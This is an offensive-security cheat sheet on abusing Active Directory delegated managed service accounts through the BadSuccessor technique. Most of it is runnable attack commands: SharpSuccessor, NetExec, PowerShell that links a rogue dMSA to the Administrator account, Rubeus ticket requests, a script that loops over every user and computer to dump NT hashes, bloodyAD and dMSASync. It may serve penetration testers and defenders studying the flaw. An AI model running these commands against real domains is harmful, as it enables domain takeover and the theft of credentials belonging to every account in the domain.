dMSA — Delegated Managed Service Accounts
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dMSA·BadSuccessor·msDS-ManagedAccountPrecededByLink·KERB-DMSA-KEY-PACKAGE·/dmsa
External: Internal All The Things — Password dMSA
Delegated Managed Service Accounts (dMSAs) are a newer AD object type for migrating user/computer accounts to managed service accounts. Abuse paths include BadSuccessor (privilege escalation) and credential dumping from the dMSA Kerberos extension.
→ GMSA - Group Managed Service Accounts (related managed-account type) · Rubeus · bloodyAD
BadSuccessor
Requirements:
- Windows Server 2025 Domain Controller
- Permission on any organizational unit (OU) in the domain
SharpSuccessor
SharpSuccessor.exe add /impersonate:Administrator /path:"ou=test,dc=lab,dc=lan" /account:jdoe /name:attacker_dMSANetExec module
poetry run netexec ldap 10.10.10.10 -u administrator -p Passw0rd -M badsuccessorManual exploitation
Verify DC is Server 2025:
ldapsearch "(&(objectClass=computer)(primaryGroupID=516))" dn,name,operatingsystemBloodHound query:
MATCH (c:Computer)
WHERE c.isdc = true AND c.operatingsystem CONTAINS "2025"
RETURN c.name
Create nonfunctional dMSA:
New-ADServiceAccount -Name "attacker_dmsa" -DNSHostName "dontcare.com" -CreateDelegatedServiceAccount -PrincipalsAllowedToRetrieveManagedPassword "attacker-machine$" -path "OU=temp,DC=aka,DC=test"Edit migration attributes:
# msDS-ManagedAccountPrecededByLink = targeted user or computer
# msDS-DelegatedMSAState=2 = completed migration
$dMSA = [ADSI]"LDAP://CN=attacker_dmsa,OU=temp,DC=aka,DC=test"
$dMSA.Put("msDS-DelegatedMSAState", 2)
$dMSA.Put("msDS-ManagedAccountPrecededByLink", "CN=Administrator,CN=Users,DC=aka,DC=test")
$dMSA.SetInfo()dMSA authentication with Rubeus:
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>→ Rubeus · Active Directory Cmdlets
Credential Dumping
When you request a TGT for a dMSA, it includes KERB-DMSA-KEY-PACKAGE with current-keys and previous-keys. The previous-keys field contains the RC4-HMAC of the password (NT hash).
Reference: Akamai Blog — dMSA key package
Invoke-BadSuccessorKeysDump
.\Invoke-BadSuccessorKeysDump.ps1 -OU 'OU=temp,DC=aka,DC=test'Loop all users/computers via Rubeus
$domain = Get-ADDomain
$dmsa = "CN=mydmsa,CN=Managed Service Accounts,$($domain.DistinguishedName)"
$allDNs = @(Get-ADUser -Filter * | select @{n='DN';e={$_.DistinguishedName}}, sAMAccountName) + @(Get-ADComputer -Filter * | select @{n='DN';e={$_.DistinguishedName}}, SAMAccountName)
$allDNs | % {
Set-ADObject -Identity $dmsa -Replace @{ "msDS-ManagedAccountPrecendedByLink" = $_.DN }
$res = Invoke-Rubeus asktgs /targeteduser:mydmsa$ /service:"krbtgt/$(domain.DNSRoot)" /opsec /dmsa /nowrap /ticket:$kirbi
$rc4 = [regex]::Match($res, 'Previous Keys for .*\$: \(rc4_hmac\) ([A-F0-9]{32})').Groups[1].Value
"$($_.sAMAccountName):$rc4"
}bloodyAD
python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' get writable --otype OU
python bloodyAD.py --host 192.168.100.5 -d bloody.corp -u jeanne -p 'Password123!' add badSuccessor dmsADM10→ bloodyAD
dMSASync (Impacket)
getTGT.py 'kerberos+aes://contoso.local\user:AES_KEY@DC_IP' --ccache user.ccache
dMSASync.py 'contoso.local\user:user.ccache@DC01.contoso.local/?dc=DC_IP' 'CN=dmsa,CN=Managed Service Accounts,DC=contoso,DC=local'References
- BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory — Yuval Gordon (May 2025)
- Operationalizing the BadSuccessor — Arun Nair (May 2025)
- Understanding & Mitigating BadSuccessor — Jim Sykora (May 2025)